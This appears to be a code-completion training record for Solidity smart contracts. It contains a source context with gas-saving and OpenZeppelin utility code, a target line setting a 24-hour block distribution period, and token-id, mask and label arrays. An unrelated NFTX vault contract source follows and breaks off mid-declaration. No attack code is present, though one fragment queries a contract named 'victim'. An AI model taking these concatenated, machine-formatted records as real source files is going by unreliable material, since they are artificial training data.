success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("rewardToWethPool()")); require(success, "rewardToWethPool() staticcall failed."); return abi.decode(result, (address)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./interfaces/IChiToken.sol"; /** * @title Inheritable contract to enable optional gas savings on functions via a modifier */ abstract contract ChiGasSaver { modifier saveGas(uint8 flag) { if ((flag & 0x1) == 0) { _; } else { uint256 gasStart = gasleft(); _; uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; IChiToken chi = IChiToken(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c); chi.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41947); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IChiToken is IERC20 { function mint(uint256 value) external; function freeFromUpTo(address from, uint256 value) external returns(uint256 freed); } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint) external; }
Blocks in 24 hour period
uint256 public distributionPeriod = 6519;
75,562
[ 1, 6450, 316, 4248, 6126, 3879, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 7006, 5027, 273, 15892, 3657, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2022-03-05 */ // SPDX-License-Identifier: MIT // File contracts/solidity/proxy/IBeacon.sol pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function childImplementation() external view returns (address); function upgradeChildTo(address newImplementation) external; } // File contracts/solidity/interface/INFTXVaultFactory.sol pragma solidity ^0.8.0; interface INFTXVaultFactory is IBeacon { // Read functions. function numVaults() external view returns (uint256); function zapContract() external view returns (address); function feeDistributor() external view returns (address); function eligibilityManager() external view returns (address); function vault(uint256 vaultId) external view returns (address); function allVaults() external view returns (address[] memory); function vaultsForAsset(address asset) external view returns (address[] memory); function isLocked(uint256 id) external view returns (bool); function excludedFromFees(address addr) external view returns (bool); function factoryMintFee() external view returns (uint64); function factoryRandomRedeemFee() external view returns (uint64); function factoryTargetRedeemFee() external view returns (uint64); function factoryRandomSwapFee() external view returns (uint64); function factoryTargetSwapFee() external view returns (uint64); function vaultFees(uint256 vaultId) external view returns ( uint256, uint256, uint256, uint256, uint256 ); event NewFeeDistributor(address oldDistributor, address newDistributor); event NewZapContract(address oldZap, address newZap); event FeeExclusion(address feeExcluded, bool excluded); event NewEligibilityManager(address oldEligManager, address newEligManager); event NewVault( uint256 indexed vaultId, address vaultAddress, address assetAddress ); event UpdateVaultFees( uint256 vaultId, uint256 mintFee, uint256 randomRedeemFee, uint256 targetRedeemFee, uint256 randomSwapFee, uint256 targetSwapFee ); event DisableVaultFees(uint256 vaultId); event UpdateFactoryFees( uint256 mintFee, uint256 randomRedeemFee, uint256 targetRedeemFee, uint256 randomSwapFee, uint256 targetSwapFee ); // Write functions. function __NFTXVaultFactory_init( address _vaultImpl, address _feeDistributor ) external; function createVault( string calldata name, string calldata symbol, address _assetAddress, bool is1155, bool allowAllItems ) external returns (uint256); function setFeeDistributor(address _feeDistributor) external; function setEligibilityManager(address _eligibilityManager) external; function setZapContract(address _zapContract) external; function setFeeExclusion(address _excludedAddr, bool excluded) external; function setFactoryFees( uint256 mintFee, uint256 randomRedeemFee, uint256 targetRedeemFee, uint256 randomSwapFee, uint256 targetSwapFee ) external; function setVaultFees( uint256 vaultId, uint256 mintFee, uint256 randomRedeemFee, uint256 targetRedeemFee, uint256 randomSwapFee, uint256 targetSwapFee ) external; function disableVaultFees(uint256 vaultId) external; } // File contracts/solidity/interface/INFTXEligibility.sol pragma solidity ^0.8.0; interface INFTXEligibility { // Read functions. function name() external pure returns (string memory); function finalized() external view returns (bool); function targetAsset() external pure returns (address); function checkAllEligible(uint256[] calldata tokenIds) external view returns (bool); function checkEligible(uint256[] calldata tokenIds) external view returns (bool[] memory); function checkAllIneligible(uint256[] calldata tokenIds) external view returns (bool); function checkIsEligible(uint256 tokenId) external view returns (bool); // Write functions. function __NFTXEligibility_init_bytes(bytes calldata configData) external; function beforeMintHook(uint256[] calldata tokenIds) external; function afterMintHook(uint256[] calldata tokenIds) external; function beforeRedeemHook(uint256[] calldata tokenIds) external; function afterRedeemHook(uint256[] calldata tokenIds) external; } // File contracts/solidity/token/IERC20Upgradeable.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // File contracts/solidity/interface/INFTXVault.sol pragma solidity ^0.8.0; interface INFTXVault is IERC20Upgradeable { function manager() external view returns (address); function assetAddress() external view returns (address); function vaultFactory() external view returns (INFTXVaultFactory); function eligibilityStorage() external view returns (INFTXEligibility); function is1155() external view returns (bool); function allowAllItems() external view returns (bool); function enableMint() external view returns (bool); function enableRandomRedeem() external view returns (bool); function enableTargetRedeem() external view returns (bool); function enableRandomSwap() external view returns (bool); function enableTargetSwap() external view returns (bool); function vaultId() external view returns (uint256); function nftIdAt(uint256 holdingsIndex) external view returns (uint256); function allHoldings() external view returns (uint256[] memory); function totalHoldings() external view returns (uint256); function mintFee() external view returns (uint256); function randomRedeemFee() external view returns (uint256); function targetRedeemFee() external view returns (uint256); function randomSwapFee() external view returns (uint256); function targetSwapFee() external view returns (uint256); function vaultFees() external view returns ( uint256, uint256, uint256, uint256, uint256 ); event VaultInit( uint256 indexed vaultId, address assetAddress, bool is1155, bool allowAllItems ); event ManagerSet(address manager); event EligibilityDeployed(uint256 moduleIndex, address eligibilityAddr); // event CustomEligibilityDeployed(address eligibilityAddr); event EnableMintUpdated(bool enabled); event EnableRandomRedeemUpdated(bool enabled); event EnableTargetRedeemUpdated(bool enabled); event EnableRandomSwapUpdated(bool enabled); event EnableTargetSwapUpdated(bool enabled); event Minted(uint256[] nftIds, uint256[] amounts, address to); event Redeemed(uint256[] nftIds, uint256[] specificIds, address to); event Swapped( uint256[] nftIds, uint256[] amounts, uint256[] specificIds, uint256[] redeemedIds, address to ); function __NFTXVault_init( string calldata _name, string calldata _symbol, address _assetAddress, bool _is1155, bool _allowAllItems ) external; function finalizeVault() external; function setVaultMetadata(string memory name_, string memory symbol_) external; function setVaultFeatures( bool _enableMint, bool _enableRandomRedeem, bool _enableTargetRedeem, bool _enableRandomSwap, bool _enableTargetSwap ) external; function setFees( uint256 _mintFee, uint256 _randomRedeemFee, uint256 _targetRedeemFee, uint256 _randomSwapFee, uint256 _targetSwapFee ) external; function disableVaultFees() external; // This function allows for an easy setup of any eligibility module contract from the EligibilityManager. // It takes in ABI encoded parameters for the desired module. This is to make sure they can all follow // a similar interface. function deployEligibilityStorage( uint256 moduleIndex, bytes calldata initData ) external returns (address); // The manager has control over options like fees and features function setManager(address _manager) external; function mint( uint256[] calldata tokenIds, uint256[] calldata amounts /* ignored for ERC721 vaults */ ) external returns (uint256); function mintTo( uint256[] calldata tokenIds, uint256[] calldata amounts, /* ignored for ERC721 vaults */ address to ) external returns (uint256); function redeem(uint256 amount, uint256[] calldata specificIds) external returns (uint256[] calldata); function redeemTo( uint256 amount, uint256[] calldata specificIds, address to ) external returns (uint256[] calldata); function swap( uint256[] calldata tokenIds, uint256[] calldata amounts, /* ignored for ERC721 vaults */ uint256[] calldata specificIds ) external returns (uint256[] calldata); function swapTo( uint256[] calldata tokenIds, uint256[] calldata amounts, /* ignored for ERC721 vaults */ uint256[] calldata specificIds, address to ) external returns (uint256[] calldata); function allValidNFTs(uint256[] calldata tokenIds) external view returns (bool); } // File contracts/solidity/interface/INFTXInventoryStaking.sol pragma solidity ^0.8.0; interface INFTXInventoryStaking { function nftxVaultFactory() external view returns (INFTXVaultFactory); function vaultXToken(uint256 vaultId) external view returns (address); function xTokenAddr(address baseToken) external view returns (address); function xTokenShareValue(uint256 vaultId) external view returns (uint256); function __NFTXInventoryStaking_init(address nftxFactory) external; function deployXTokenForVault(uint256 vaultId) external; function receiveRewards(uint256 vaultId, uint256 amount) external returns (bool); function timelockMintFor( uint256 vaultId, uint256 amount, address to, uint256 timelockLength ) external returns (uint256); function deposit(uint256 vaultId, uint256 _amount) external; function withdraw(uint256 vaultId, uint256 _share) external; } // File contracts/solidity/token/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File contracts/solidity/util/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}( data ); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File contracts/solidity/util/SafeERC20Upgradeable.sol pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using Address for address; function safeTransfer( IERC20Upgradeable token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20Upgradeable token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20Upgradeable token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require( oldAllowance >= value, "SafeERC20: decreased allowance below zero" ); uint256 newAllowance = oldAllowance - value; _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } // File contracts/solidity/proxy/Initializable.sol // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require( _initializing || !_initialized, "Initializable: contract is already initialized" ); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // File contracts/solidity/util/ContextUpgradeable.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer {} function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // File contracts/solidity/util/OwnableUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // File contracts/solidity/util/PausableUpgradeable.sol pragma solidity ^0.8.0; contract PausableUpgradeable is OwnableUpgradeable { function __Pausable_init() internal initializer { __Ownable_init(); } event SetPaused(uint256 lockId, bool paused); event 